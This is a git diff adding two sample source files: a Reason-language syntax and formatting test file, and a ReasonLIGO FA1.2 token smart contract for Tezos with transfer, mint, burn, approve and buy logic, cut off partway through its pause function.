+/* let myValue = MyRecord {name: int}; */
+/* This would force importing of the module */
+/* This would also lend itself naturally to pattern matching - and avoid having
+   to use `.` operator at all since you normally destructure. */
+type nameBlahType = {nameBlah: int};
+
+let myRecord = {nameBlah: 20};
+
+let myRecordName = myRecord.nameBlah;
+
+let {nameBlah}: nameBlahType = {nameBlah: 20};
+
+print_int nameBlah;
+
+let {nameBlah: aliasedToThisVar}: nameBlahType = {
+  nameBlah: 20
+};
+
+print_int aliasedToThisVar;
+
+let desiredFormattingForWrappedLambda:
+  int => int => int => nameBlahType =
+  /*
+
+   fun is
+   pre-   /firstarg\
+   fix   /-coupled--\
+    |-\ /-to-prefix--\       */
+  fun curriedArg anotherArg lastArg => {
+    nameBlah: 10
+  };
+
+type longerInt = int;
+
+let desiredFormattingForWrappedLambdaWrappedArrow:
+  longerInt =>
+  longerInt =>
+  longerInt =>
+  nameBlahType =
+  /*
+
+   fun is
+   pre-   /firstarg\
+   fix   /-coupled--\
+    |-\ /-to-prefix--\       */
+  fun curriedArg anotherArg lastArg => {
+    nameBlah: 10
+  };
+
+let desiredFormattingForWrappedLambdaReturnOnNewLine
+    /*
+
+     fun is
+     pre-   /firstarg\
+     fix   /-coupled--\
+      |-\ /-to-prefix--\       */
+    curriedArg
+    anotherArg
+    lastArg => {
+  nameBlah: 10
+};
+
+/*
+ let is
+ pre-
+ fix    /-function binding name---\
+ |-\   / is coupled to prefix      \   */
+let desiredFormattingForWrappedSugar
+    curriedArg
+    anotherArg
+    lastArg => {
+  nameBlah: 10
+};
+
+/*
+ let is
+ pre-
+ fix    /-function binding name---\
+ |-\   / is coupled to prefix      \   */
+let desiredFormattingForWrappedSugarReturnOnNewLine
+    curriedArg
+    anotherArg
+    lastArg => {
+  nameBlah: 10
+};
+
+/*
+   let  : type t1 t2. t1 * t2 list -> t1 = ...
+   let rec f : 't1 't2. 't1 * 't2 list -> 't1 =
+     fun (type t1) (type t2) -> (... : t1 * t2 list -> t1)
+ */
+type point = {x: int, y: int};
+
+type point3D = {x: int, y: int, z: int};
+
+let point2D = {x: 20, y: 30};
+
+let point3D: point3D = {
+  x: 10,
+  y: 11,
+  z: 80 /* Optional Comma */
+};
+
+let printPoint (p: point) => {
+  print_int p.x;
+  print_int p.y
+};
+
+let addPoints (p1: point, p2: point) => {
+  x: p1.x + p2.x,
+  y: p1.y + p2.y
+};
+
+let res1 = printPoint point2D;
+
+let res2 =
+  printPoint {x: point3D.x, y: point3D.y};
+
+/*
+    When () were used to indicate sequences, the parser used seq_expr not only
+    for grouping sequences, but also to form standard precedences.
+                          /------- sequence_expr ------\
+    let res3 = printPoint (addPoints (point2D, point3D));
+
+    Interestingly, it knew that tuples aren't sequences.
+
+    To move towards semi delimited, semi-terminated, braces-grouped sequences:
+    while allowing any non-sequence expression to be grouped on parens, we make
+    an explicit rule that allows one single non-semi ended expression to be
+    grouped in parens.
+
+    Actually: We will allow an arbitrary number of semi-delimited expressions to
+    be wrapped in parens, but the braces grouped semi delimited (sequence)
+    expressions must *also* be terminated with a semicolon.
+
+    This allows the parser to distinguish between
+
+        let x = {a};    /* Record {a:a} */
+        let x = {a;};   /* Single item sequence returning identifier {a} */
+ */
+let res3 =
+  printPoint (
+    addPoints (
+      point2D,
+      {x: point3D.x, y: point3D.y}
+    )
+  );
+
+type person = {age: int, name: string};
+
+type hiredPerson = {
+  age: string,
+  name: string,
+  dateHired: int
+};
+
+let o: person = {name: "bob", age: 10};
+
+/* Parens needed? Nope! */
+let o: person = {name: "bob", age: 10};
+
+let printPerson (p: person) => {
+  let q: person = p;
+  p.name ^ p.name
+};
+
+/* let dontParseMeBro x y:int = x = y;*/
+/* With this unification, anywhere eyou see `= fun` you can just ommit it */
+let blah a => a; /* Done */
+
+let blah a => a; /* Done (almost) */
+
+let blah a b => a; /* Done */
+
+let blah a b => a; /* Done (almost) */
+
+/* More than one consecutive pattern must have a single case */
+type blah = {blahBlah: int};
+
+let blah a {blahBlah} => a;
+
+let blah a {blahBlah} => a;
+
+let module TryToExportTwice = {
+  let myVal = "hello";
+};
+
+/*
+   Unifying top level module syntax with local module syntax is probably a bad
+   idea at the moment because it makes it more difficult to continue to support
+   `let .. in` bindings. We can distinguish local modules for `let..in` that
+   just happen to be defined at the top level (but not exported).
+
+     let MyModule = {let myVal = 20;} in
+     MyModule.x
+
+   Wait, where would this ever be valid, even if we continued to support
+   `let..in`?
+ */
+let onlyDoingThisTopLevelLetToBypassTopLevelSequence = {
+  let x = {
+    print_int 1;
+    print_int 20 /* Missing trailing SEMI */
+  };
+  let x = {
+    print_int 1;
+    print_int 20; /* Ensure missing middle SEMI reported well */
+    print_int 20
+  };
+  let x = {
+    print_int 1;
+    print_int 20;
+    10
+    /* Comment in final position */
+  }; /* Missing final SEMI */
+  x + x
+};
+
+type hasA = {a: int};
+
+let a = 10;
+
+let returnsASequenceExpressionWithASingleIdentifier
+    () => a;
+
+let thisReturnsA () => a;
+
+let thisReturnsAAsWell () => a;
+
+let recordVal: int = (thisReturnsARecord ()).a;
+
+Printf.printf
+  "\nproof that thisReturnsARecord: %n\n"
+  recordVal;
+
+Printf.printf
+  "\nproof that thisReturnsA: %n\n"
+  (thisReturnsA ());
+
+/* Pattern matching */
+let blah arg =>
+  switch arg {
+  /* Comment before Bar */
+  | /* Comment between bar/pattern */ Red _ => 1
+  /* Comment Before non-first bar */
+  | /* Comment betwen bar/pattern */ Black _ => 0
+  | Green _ => 0
+  };
+
+/* Any function that pattern matches a multicase match is interpretted as a
+ * single arg that is then matched on. Instead of the above `blah` example:*/
+let blah =
+  fun
+  | Red _ => 1
+  | Black _ => 0
+  | Green _ => 1;
+
+/* `fun a => a` is read as "a function that maps a to a". Then the */
+/* above example is read: "a function that 'either maps' Red to.. or maps .." */
+/* Thc00f564e first bar is read as "either maps" */
+/* Curried form is not supported:
+      let blah x | Red _ => 1 | Black _ => 0;
+      Theres no sugar rule for dropping => fun, only = fun
+   */
+/* let blahCurriedX x => fun  /* See, nothing says we can drop the => fun */ */
+/*   |(Red x | Black x | Green x) => 1     /* With some effort, we can ammend the sugar rule that would */ */
+/*   | Black x => 0                       /* Allow us to drop any => fun.. Just need to make pattern matching */ */
+/*   | Green x => 0;                      /* Support that */ */
+/*  */
+let blahCurriedX x =>
+  fun
+  | Red x
+  | Black x
+  | Green x =>
+    1 /* With some effort, we can ammend the sugar rule that would */
+  | Black x => 0 /* Allow us to drop any => fun.. Just need to make pattern matching */
+  | Green x => 0; /* Support that */
+
+let sameThingInLocal = {
+  let blahCurriedX x =>
+    fun
+    | Red x
+    | Black x
+    | Green x =>
+      1 /* With some effort, we can ammend the sugar rule that would */
+    | Black x => 0 /* Allow us to drop any => fun.. Just need to make pattern matching */
+    | Green x => 0; /* Support that */
+  blahCurriedX
+};
+
+/* This should be parsed/printed exactly as the previous */
+let blahCurriedX x =>
+  fun
+  | Red x
+  | Black x
+  | Green x => 1
+  | Black x => 0
+  | Green x => 0;
+
+/* Any time there are multiple match cases we require a leading BAR */
+let v = Red 10;
+
+let Black x | Red x | Green x = v; /* So this NON-function still parses */
+
+/* This doesn't parse, however (and it doesn't in OCaml either):
+     let | Black x | Red x | Green x = v;
+   */
+print_int x;
+
+/* Scoping: Let sequences. Familiar syntax for lexical ML style scope and
+   sequences. */
+let res = {
+  let a = "a starts out as";
+  {
+    print_string a;
+    let a = 20;
+    print_int a
+  };
+  print_string a
+};
+
+let res = {
+  let a = "first its a string";
+  let a = 20;
+  print_int a;
+  print_int a;
+  print_int a
+};
+
+let res = {
+  let a = "a is always a string";
+  print_string a;
+  let b = 30;
+  print_int b
+};
+
+/* let result = LyList.map (fun | [] => true | _ => false) []; */
+/* OTHERWISE: You cannot tell if a is the first match case falling through or
+ * a curried first arg */
+/* let blah = fun a | patt => 0 | anotherPatt => 1; */
+/* let blah a patt => 0 | anotherPatt => 1; */
+/*simple pattern  EQUALGREATER      expr */
+let blah a {blahBlah} => a;
+
+/*            match_case             */
+/*     pattern EQUALGREATER  expr */
+let blah =
+  fun
+  | Red _ => 1
+  | Black _ => 0
+  | Green _ => 0;
+
+/* Won't work! */
+/* let arrowFunc = fun a b => print_string "returning aplusb from arrow"; a + b;;  */
+let arrowFunc a b => {
+  print_string "returning aplusb from arrow";
+  a + b
+};
+
+let add a b => {
+  let extra = {
+    print_string "adding";
+    0
+  };
+  let anotherExtra = 0;
+  extra + a + b + anotherExtra
+};
+
+print_string (string_of_int (add 4 34));
+
+let dummy _ => 10;
+
+dummy res1;
+
+dummy res2;
+
+dummy res3;
+
+/* Some edge cases */
+let myFun firstArg (Red x | Black x | Green x) =>
+  firstArg + x;
+
+let matchesWithWhen a =>
+  switch a {
+  | Red x when 1 > 0 => 10
+  | Red _ => 10
+  | Black x => 10
+  | Green x => 10
+  };
+
+let matchesWithWhen =
+  fun
+  | Red x when 1 > 0 => 10
+  | Red _ => 10
+  | Black x => 10
+  | Green x => 10;
+
+let matchesOne (`Red x) => 10;
+
+/*
+ Typical OCaml would make you *wrap the functions in parens*! This is because it
+ can't tell if a semicolon is a sequence operator. Even if we had records use
+ commas to separate fields,
+ */
+type adders = {
+  addTwoNumbers: int => int => int,
+  addThreeNumbers: int => int => int => int,
+  addThreeNumbersTupled: (int, int, int) => int
+};
+
+let myRecordWithFunctions = {
+  addTwoNumbers: fun a b => a + b,
+  addThreeNumbers: fun a b c => a + b + c,
+  addThreeNumbersTupled: fun (a, b, c) =>
+    a + b + c
+};
+
+let result =
+  myRecordWithFunctions.addThreeNumbers 10 20 30;
+
+let result =
+  myRecordWithFunctions.addThreeNumbersTupled (
+    10,
+    20,
+    30
+  );
+
+let lookTuplesRequireParens = (1, 2);
+
+/* let thisDoesntParse = 1, 2;  */
+let tupleInsideAParenSequence = {
+  print_string "look, a tuple inside a sequence";
+  let x = 10;
+  (x, x)
+};
+
+let tupleInsideALetSequence = {
+  print_string "look, a tuple inside a sequence";
+  let x = 10;
+  (x, x)
+};
+
+/* We *require* that function return types be wrapped in
+   parenthesis. In this example, there's no ambiguity */
+let makeIncrementer (delta: int) :(int => int) =>
+  fun a => a + delta;
+
+/* We could even force that consistency with let bindings - it's allowed
+      currently but not forced.
+   */
+let myAnnotatedValBinding: int = 10;
+
+/* Class functions (constructors) and methods are unified in the same way */
+class classWithNoArg = {
+  method x = 0;
+  method y = 0;
+};
+
+/* This parses but doesn't type check
+     class myClass init => object
+       method x => init
+       method y => init
+     end;
+   */
+let myFunc (a: int) (b: int) :(int, int) => (
+  a,
+  b
+);
+
+let myFunc (a: int) (b: int) :list int => [1];
+
+let myFunc (a: int) (b: int) :point => {
+  x: a,
+  y: b
+};
+
+let myFunc (a: int, b: int) :point => {
+  x: a,
+  y: b
+};
+
+type myThing = (int, int);
+
+type stillARecord = {name: string, age: int};
+
+/* Rebase latest OCaml to get the following: And fixup
+   `generalized_constructor_arguments` according to master. */
+/* type ('a, 'b) myOtherThing = Leaf {first:'a, second: 'b} | Null; */
+type branch 'a 'b = {first: 'a, second: 'b};
+
+type myOtherThing 'a 'b =
+  | Leaf (branch 'a 'b)
+  | Null;
+
+type yourThing = myOtherThing int int;
+
+/* Conveniently - this parses exactly how you would intend! No *need* to wrap
+   in an extra [], but it doesn't hurt */
+/* FIXME type lookAtThesePolyVariants = list [`Red] ; */
+/* FIXME type bracketsGroupMultipleParamsAndPrecedence = list (list (list [`Red])); */
+/* FIXME type youCanWrapExtraIfYouWant = (list [`Red]); */
+/* FIXME type hereAreMultiplePolyVariants = list [`Red | `Black]; */
+/* FIXME type hereAreMultiplePolyVariantsWithOptionalWrapping = list ([`Red | `Black]); */
+/*
+   /* Proposal: ES6 style lambdas: */
+
+   /* Currying */
+   let lookES6Style = (`Red x) (`Black y) => { };
+   let lookES6Style (`Red x) (`Black y) => { };
+
+   /* Matching the single argument */
+   let lookES6Style = oneArg => match oneArg with
+     | `Red x => x
+     | `Black x => x;
+
+   /* The "trick" to currying that we already have is basically the same - we just
+    * have to reword it a bit:
+    * From:
+    * "Any time you see [let x = fun ...] just replace it with [let x ...]"
+    * To:
+    * "Any time you see [let x = ... => ] just replace it with [let x ... => ]"
+    */
+   let lookES6Style oneArg => match oneArg with
+     | `Red x => x
+     | `Black x => x;
+
+ */
+
+/** Current OCaml Named Arguments. Any aliasing is more than just aliasing!
+    OCaml allows full on pattern matching of named args. */
+/*
+ A: let named              ~a    ~b                = aa + bb in
+ B: let namedAlias         ~a:aa ~b:bb             = aa + bb in
+ C: let namedAnnot         ~(a:int) ~(b:int)       = a + b in
+ D: let namedAliasAnnot    ~a:(aa:int) ~b:(bb:int) = aa + bb in
+ E: let optional           ?a    ?b                              = 10 in
+ F: let optionalAlias      ?a:aa ?b:bb                           = 10 in
+ G: let optionalAnnot      ?(a:int option) ?(b:int option)       = 10 in
+ H: let optionalAliasAnnot ?a:(aa:int option) ?b:(bb:int option) = 10 in
+ /*
+ Look! When a default is provided, annotation causes inferred type of argument
+ to not be "option" since it's automatically destructured (because we know it
+ will always be available one way or another.)
+ */
+ I: let defOptional           ?(a=10)    ?(b=10)                 = 10 in
+ J: let defOptionalAlias      ?a:(aa=10) ?b:(bb=10)              = 10 in
+ K: let defOptionalAnnot      ?(a:int=10) ?(b:int=10)            = 10 in
+                             \       \
+                              \label_let_pattern opt_default: no longer needed in SugarML
+
+ L: let defOptionalAliasAnnot ?a:(aa:int=10) ?b:(bb:int=10)      = 10 in
+                               \        \
+                                \let_pattern: still a useful syntactic building block in SugarML
+ */
+
+/**
+ * In Reason, the syntax for named args uses double semicolon, since
+ * the syntax for lists uses ES6 style [], freeing up the ::.
+ */
+let a = 10;
+
+let b = 20;
+
+/*A*/
+let named a::a b::b => a + b;
+
+type named = a::int => b::int => int;
+
+/*B*/
+let namedAlias a::aa b::bb => aa + bb;
+
+let namedAlias a::aa b::bb => aa + bb;
+
+type namedAlias = a::int => b::int => int;
+
+/*C*/
+let namedAnnot a::(a: int) b::(b: int) => 20;
+
+/*D*/
+let namedAliasAnnot a::(aa: int) b::(bb: int) => 20;
+
+/*E*/
+let myOptional a::a=? b::b=? () => 10;
+
+type named = a::int? => b::int? => unit => int;
+
+/*F*/
+let optionalAlias a::aa=? b::bb=? () => 10;
+
+/*G*/
+let optionalAnnot a::(a: int)=? b::(b: int)=? () => 10;
+
+/*H*/
+let optionalAliasAnnot
+    a::(aa: int)=?
+    b::(bb: int)=?
+    () => 10;
+
+/*I: */
+let defOptional a::a=10 b::b=10 () => 10;
+
+type named = a::int? => b::int? => unit => int;
+
+/*J*/
+let defOptionalAlias a::aa=10 b::bb=10 () => 10;
+
+/*K*/
+let defOptionalAnnot
+    a::(a: int)=10
+    b::(b: int)=10
+    () => 10;
+
+/*L*/
+let defOptionalAliasAnnot
+    a::(aa: int)=10
+    b::(bb: int)=10
+    () => 10;
+
+/*M: Invoking them - Punned */
+let resNotAnnotated = named a::a b::b;
+
+/*N:*/
+let resAnnotated: int = named a::a b::b;
+
+/*O: Invoking them */
+let resNotAnnotated = named a::a b::b;
+
+/*P: Invoking them */
+let resAnnotated: int = named a::a b::b;
+
+/*Q: Here's why "punning" doesn't work!  */
+/* Is b:: punned with a final non-named arg, or is b:: supplied b as one named arg? */
+let b = 20;
+
+let resAnnotated = named a::a b::b;
+
+/*R: Proof that there are no ambiguities with return values being annotated */
+let resAnnotated: ty = named a::a b;
+
+/*S: Explicitly passed optionals are a nice way to say "use the default value"*/
+let explictlyPassed =
+  myOptional a::?None b::?None;
+
+/*T: Annotating the return value of the entire function call */
+let explictlyPassedAnnotated: int =
+  myOptional a::?None b::?None;
+
+/*U: Explicitly passing optional with identifier expression */
+let a = None;
+
+let explictlyPassed = myOptional a::?a b::?None;
+
+let explictlyPassedAnnotated: int =
+  myOptional a::?a b::?None;
+
+let nestedLet = {
+  let _ = 1;
+  ()
+};
+
+let nestedLet = {
+  let _ = 1;
+  ()
+};
+
+let nestedLet = {
+  let _ = 1;
+  ()
+};
+
+let nestedLet = {
+  let _ = 1;
+  2
+};
+
+/*
+ * Showing many combinations of type annotations and named arguments.
+ */
+type typeWithNestedNamedArgs =
+  outerOne::(
+    innerOne::int => innerTwo::int => int
+  ) =>
+  outerTwo::int =>
+  int;
+
+type typeWithNestedOptionalNamedArgs =
+  outerOne::
+    (innerOne::int => innerTwo::int => int)? =>
+  outerTwo::int? =>
+  int;
+
+type typeWithNestedOptionalNamedArgs =
+  outerOne::list string? => outerTwo::int? => int;
+
+let x =
+  callSomeFunction
+    withArg::10 andOtherArg::wrappedArg;
+
+let res = {
+  (constraintedSequenceItem: string);
+  (dontKnowWheYoudWantToActuallyDoThis: string)
+};
+
+let res = {
+  (
+    butTheyWillBePrintedWithAppropriateSpacing: string
+  );
+  (soAsToInstillBestDevelopmentPractices: string)
+};
+
+let x = [
+  (eachItemInListCanBeAnnotated: int),
+  (typeConstraints: float),
+  (
+    tupleConstraints: int,
+    andNotFunctionInvocations: int
+  )
+];
+
+let x = [
+  (butWeWillPrint: int),
+  (themAsSpaceSeparated: float),
+  (toInfluenceYour: int, developmentHabbits: int)
+];
+
+let newRecord = {
+  ...(annotatedSpreadRecord: someRec),
+  x: y
+};
+
+let newRecord = {
+  ...(annotatedSpreadRecord: someRec),
+  blah: 0,
+  foo: 1
+};
+
+let newRecord = {
+  ...(
+    youCanEvenCallMethodsHereAndAnnotate them: someRec
+  ),
+  blah: 0,
+  foo: 1
+};
+
+let newRecord = {
+  ...(
+    youCanEvenCallMethodsHereAndAnnotate
+      them named::10: someRec
+  ),
+  blah: 0,
+  foo: 1
+};
+
+let something: thing blah = aTypeAnnotation;
+
+let something: thing blah = thisIsANamedArg;
+
+let something: thing blah = aTypeAnnotation;
+
+let something: blah = thisIsANamedArg thing;
+
+let something: blah = typeAnnotation thing;
+
+let newRecord = {
+  ...(
+    heresAFunctionWithNamedArgs argOne::i: annotatedResult
+  ),
+  soAsToInstill: 0,
+  developmentHabbits: 1
+};
+
+[@@@thisIsAThing];
+
+let x = 10;
+
+/* Ensure that the parenthesis are preserved here because they are
+ * important:
+ */
+let something =
+  fun
+  | None => (
+      fun
+      | [] => "emptyList"
+      | [_, ..._] => "nonEmptyList"
+    )
+  | Some _ => (
+      fun
+      | [] => "emptyList"
+      | [_, ..._] => "nonEmptyList"
+    );
+
+/*  A | B = X; */
+let A | B = X;
+
+/*  A | (B | C) = X; */
+let A | (B | C) = X;
+
+/* (A | B) | (C | D) = X; */
+let A | B | (C | D) = X;
+
+/*  A | B | (C | D) = X; */
+let A | B | (C | D) = X;
+
+/* (A | B) | C = X; */
+let A | B | C = X;
+
+/*  A | B | C = X; */
+let A | B | C = X;
+
+
+/** External function declaration
+ *
+ */
+external f : int => int = "foo";
+
+let x = {contents: 0};
+
+let unitVal = x.contents = 210;
diff --git a/samples/ReasonLIGO/FA1.2.religo b/samples/ReasonLIGO/FA1.2.religo
new file mode 100644
index 0000000000..0378dcd374
--- /dev/null
+++ b/samples/ReasonLIGO/FA1.2.religo
@@ -0,0 +1,393 @@
+// This is an implementation of the FA1.2 specification in ReasonLIGO
+type account = {
+  balance: nat,
+  allowances: map(address, nat)
+};
+
+type balance_params = { callback: contract (nat), owner: address };
+type allowance_params = { owner: address, spender: address, callback: contract (nat)}
+
+type action =
+  | Transfer ((address, address, nat))
+  | Mint (nat)
+  | Burn (nat)
+  | SetBuyPrice (tez)
+  | SupplyBuyPool (nat)
+  | Buy (nat)
+  | Approve ((address, nat))
+  | RemoveApproval (address)
+  | AddExtra ((string, string))
+  | GetAllowance (allowance_params)
+  | GetBalance (balance_params)
+  | GetTotalSupply (contract(nat))
+  | Pause;
+
+type metadata = {
+  token_id : nat,
+  symbol : string,
+  name : string,
+  decimals : nat,
+  extras : map (string, string)
+};
+
+type storage = {
+  owner: address,
+  metadata: metadata,
+  buyPrice: tez,
+  tokenBuyPool: nat,
+  totalSupply: nat,
+  ledger: big_map(address, account),
+  paused: bool
+};
+
+let isAllowed = (accountFrom: address, value: nat, s: storage): bool => {
+  if (Tezos.sender != accountFrom) {
+    // Checking if the sender is allowed to spend in name of accountFrom
+    switch (Big_map.find_opt(accountFrom, s.ledger)){
+      | None => false
+      | Some (acc) => {
+          switch (Map.find_opt(Tezos.sender, acc.allowances)){
+          | None => false
+          | Some (allowanceAmount) => allowanceAmount >= value
+        }
+      }
+    }
+  } else {
+    true;
+  }
+}
+
+// Transfer a specific nat of tokens from accountFrom address to a destination address
+// Preconditions:
+//  The sender address is the account owner or is allowed to spend x in the name of accountFrom
+//  The accountFrom account has a balance higher than the nat
+// Postconditions:
+//  The balance of accountFrom is decreased by the nat
+//  The balance of destination is increased by the nat
+let transfer = (accountFrom: address, accountTo: address, value: nat, s: storage): storage => {
+  // If accountFrom = destination transfer is not necessary
+  if(accountFrom == accountTo) {
+    failwith ("SameOriginAndDestination"): storage;
+  } else {
+    if(!isAllowed(accountFrom, value, s)){
+      failwith ("NotEnoughAllowance"): storage;
+    } else {
+      // Fetch src account
+      let src = switch(Map.find_opt(accountFrom, s.ledger)) {
+        | None => failwith ("NoAccount"): account;
+        | Some (src) => src
+      };
+      // Check that the accountFrom can spend that much
+      if(value > src.balance){
+        failwith ("NotEnoughBalance"): storage;
+      } else {
+        // Update the accountFrom balance
+        // Using the abs function to convert int to nat
+        let src_ = {...src, balance: abs(src.balance - value)};
+
+        // Fetch destination account or add empty destination account to ledger
+        // Update the destination balance
+        let dest: account = switch(Map.find_opt(accountTo, s.ledger)){
+          | None => {
+              balance: value,
+              allowances: Map.empty: map(address, nat)
+            }
+          | Some (acc) => {...acc, balance: acc.balance + value}
+        };
+
+        // Decrease the allowance nat if necessary
+        let new_allowances = switch(Map.find_opt(Tezos.sender, src_.allowances)){
+          | None => src_.allowances
+          | Some (dstAllowance) => 
+            Map.update(Tezos.sender, Some (abs(dstAllowance - value)), src_.allowances) // ensure non negative
+        };
+
+        let new_storage = 
+          {...s, 
+            ledger: Big_map.update(accountFrom, Some ({...src_, allowances: new_allowances}), 
+            s.ledger)};
+
+        {...new_storage, ledger: Big_map.update(accountTo, Some (dest), new_storage.ledger)}
+      }
+    }
+  }
+}
+
+// Mint tokens into the owner balance
+// Preconditions:
+//  The sender is the owner of the contract
+// Postconditions:
+//  The minted tokens are added in the balance of the owner
+//  The totalSupply is increased by the nat of minted token
+let mint = (value: nat, s: storage): storage => {
+  // If the sender is not the owner fail
+  if(Tezos.sender != s.owner){
+    failwith ("UnauthorizedAccess"): storage;
+  } else {
+    let ownerAccount: account = switch(Map.find_opt(s.owner, s.ledger)){
+      | None => {
+          balance: value,
+          allowances: Map.empty: map(address, nat)
+        }
+      | Some (acc) => 
+        // Updates the owner balance
+        {...acc, balance: acc.balance + value}
+    };
+    
+    // returns the new storage
+    {...s, ledger: Big_map.update(s.owner, Some (ownerAccount), s.ledger), totalSupply: s.totalSupply + value}
+  }
+}
+
+// Burn tokens from the owner balance
+// Preconditions:
+//  The owner have the required balance to burn
+// Postconditions:
+//  The burned tokens are subtracted from the balance of the owner
+//  The totalSupply is decreased by the nat of burned token 
+let burn = (value: nat, s : storage):  storage => {
+  // If the sender is not the owner fail
+  if(Tezos.sender != s.owner){
+    failwith("UnauthorizedAccess"):  storage;
+  } else {
+    let ownerAccount = switch(Big_map.find_opt(s.owner, s.ledger)){
+      | None => {balance: 0n, allowances: Map.empty: map(address, nat)}
+      | Some (acc) => acc
+    };
+    // Check that the owner can burn that much
+    if(value > ownerAccount.balance){
+      failwith ("Owner balance is too low"): storage;
+    } else {
+      // Update the owner balance
+      // Using the abs function to convert int to nat
+      let new_ownerAccount = {...ownerAccount, balance: abs(ownerAccount.balance - value)};
+
+      {...s, 
+        ledger: Big_map.update(s.owner, Some (new_ownerAccount), s.ledger), 
+        totalSupply: abs(s.totalSupply - value)};
+    }
+  }
+}
+
+// Approve an nat to be spent by another address in the name of the sender
+// Preconditions:
+//  The spender account is not the sender account
+// Postconditions:
+//  The allowance of spender in the name of sender is value
+let approve = (spender: address, value: nat, s : storage): storage => {
+  // If sender is the spender approving is not necessary
+  if(Tezos.sender == spender){
+    failwith ("The account owner and the spender address cannot be the same!"): storage;
+  } else {
+    let src: account = switch(Big_map.find_opt(Tezos.sender, s.ledger)){
+      | None => failwith ("NoAccount"): account;
+      | Some (acc) => acc
+    };
+    // Checks if allowance has not previously been set to avoid attack vector
+    let new_allowances = switch(Map.find_opt(spender, src.allowances)) {
+      | None => Map.update(spender, Some (value), src.allowances)
+      | Some (allowance) => {
+        // attempt to change approval value from non-zero to non-zero 
+        if(allowance > 0n && value > 0n) {
+          failwith ("UnsafeAllowanceChange"): map(address, nat)
+        } else {
+          Map.update(spender, Some (value), src.allowances)
+        }
+      }
+    };
+
+    {...s, 
+      ledger: Big_map.update(Tezos.sender, Some ({...src, allowances: new_allowances}), s.ledger)
+    }
+  }
+}
+
+// Remove an address that was earlier approved to spend tokens on behalf of the account
+// Preconditions:
+//  The spender account is not the sender account
+//  The spender address exists in the account
+// Postconditions:
+// The spender address no longer exists in the account
+
+let removeApproval = (spender: address, s: storage): storage => {
+  // If sender is the spender approving is not necessary
+  if(Tezos.sender == spender){
+    failwith ("The account owner and the spender address cannot be the same!"): storage;
+  } else {
+    switch(Big_map.find_opt(Tezos.sender, s.ledger)){
+      | None => failwith ("Account not found!"): storage;
+      | Some (acc) => {...s, 
+          ledger: Big_map.update(Tezos.sender, Some ({...acc, allowances: Map.remove(spender, acc.allowances)}), 
+          s.ledger)
+        }
+    };
+  }
+}
+
+// Set a buy price for the tokens from the contract's owner
+// Preconditions:
+// The function is called by the contracts's owner
+// Postconditions:
+// The buy price has been updated
+let setBuyPrice = (buyPrice: tez, s: storage): storage => {
+  if (Tezos.source != s.owner) {
+    failwith ("UnauthorizedOperation"): storage;
+  } else {
+    { ...s, buyPrice: buyPrice }
+  }
+}
+
+// Transfers tokens from owner's account to buy pool
+// Preconditions:
+// Owner has sufficient tokens to transfer
+// Postconditions:
+// Buy pool has been increased to the right amount of tokens
+let supplyBuyPool = (tokenAmount: nat, s: storage): storage => {
+  if (Tezos.source != s.owner) {
+    failwith ("UnauthorizedOperation"): storage;
+  } else {
+    // checks if owner has enough tokens to supply the buy pool
+    let ownerAccount = switch(Big_map.find_opt(Tezos.source, s.ledger)){
+      | None => failwith ("NoAccount"): account
+      | Some (acc) => if (acc.balance < tokenAmount) {
+          failwith ("InsufficientTokenBalance"): account;
+        } else {
+          // deducts token amount from owner's balance
+          {...acc, balance: abs(acc.balance - tokenAmount)}
+        }
+    };
+    // updates the storage with new value for buy pool and new owner's account
+    { ...s, 
+      ledger: Big_map.update(Tezos.source, Some (ownerAccount), s.ledger), 
+      tokenBuyPool: s.tokenBuyPool + tokenAmount }
+  }
+}
+
+// Users can buy tokens from the contract at buy price
+// Preconditions: 
+// buyPrice is superior to zero
+// Amount of tez is attached to the transaction
+// Amount of tez is equal to token amount * buy price
+// Buy pool has sufficient tokens to transfer
+// Postconditions:
+// Tokens have been transferred
+let buy = (tokenAmount: nat, s: storage): storage => {
+  // checks if amount is provided
+  if(Tezos.amount == 0tez){
+    failwith ("NoAmount"): storage;
+  } else {
+    if (s.tokenBuyPool < tokenAmount){
+      failwith ("InsufficientBuyPool"): storage;
+    } else {
+      // checks if amount is equal to token amount * buy price
+      if(Tezos.amount != tokenAmount * s.buyPrice){
+        failwith ("IncorrectAmount"): storage;
+      } else {
+        // deducts tokens from buy pool
+        let newBuyPool = abs(s.tokenBuyPool - tokenAmount);
+        // transfers tokens from buy pool to user's account
+        let userAccount = switch(Big_map.find_opt(Tezos.sender, s.ledger)){
+          | None => { balance: tokenAmount, allowances: Map.empty: map(address, nat) }
+          | Some (acc) => { ...acc, balance: acc.balance + tokenAmount }
+        };
+        // returns updated storage
+        { ...s, 
+          tokenBuyPool: newBuyPool, 
+          ledger: Big_map.update(Tezos.sender, Some (userAccount), s.ledger) }
+      }
+    }
+  }
+}
+
+// Add extra information about the token
+// Preconditions:
+// Only available to admin
+// Postconditions:
+// Extras map in metadata is updated
+let addExtra = (key: string, value: string, s: storage): storage => {
+  if(Tezos.source != s.owner) {
+    failwith ("UnauthorizedOperation"): storage;
+  } else {
+   {...s, metadata: {...s.metadata, extras: Map.update(key, Some (value), s.metadata.extras)}}
+  }
+}
+
+// View function that forwards the allowance nat of spender in the name of owner to a contract
+// Preconditions:
+//  None
+// Postconditions:
+//  The state is unchanged
+let getAllowance = (params: allowance_params, s: storage): list(operation) => {
+  // finds owner's account
+  let src: account = switch(Big_map.find_opt(params.owner, s.ledger)){
+    | None => failwith ("NoAccount"): account
+    | Some (acc) => acc
+  };
+  // gets spender's allowance
+  let destAllowance: nat = switch(Map.find_opt(params.spender, src.allowances)){
+    | None => failwith ("NoAccount"): nat
+    | Some (allowance) => allowance
+  };
+  // returns transaction with allowance
+  [Tezos.transaction(destAllowance, 0tz, params.callback)]: list(operation);
+}
+
+// View function that forwards the balance of source to a contract
+// Preconditions:
+//  None
+// Postconditions:
+//  The state is unchanged
+let getBalance = (params: balance_params, s : storage): list(operation) => {
+  let src: account = switch(Big_map.find_opt(params.owner, s.ledger)){
+    | None => failwith ("NoAccount"): account
+    | Some (acc) => acc
+  };
+  // returns transaction with balance
+  [Tezos.transaction(src.balance, 0tz, params.callback)]: list(operation);
+}
+
+// View function that forwards the totalSupply to a contract
+// Preconditions:
+//  None
+// Postconditions:
+//  The state is unchanged
+let getTotalSupply = (contract: contract (nat), s: storage): list(operation) => {
+  // returns transaction with total supply
+  // this doesn't compile => [Tezos.transaction(s.totalSupply, 0tz, contr)]: list(operation);
+  [Tezos.transaction(s.totalSupply, 0tz, contract)];
+}
+
+// Pause the smart contract
+// Preconditions:
+// Only owner
+// Post conditions:
+// None
+let pause = (s: storage): storage => {
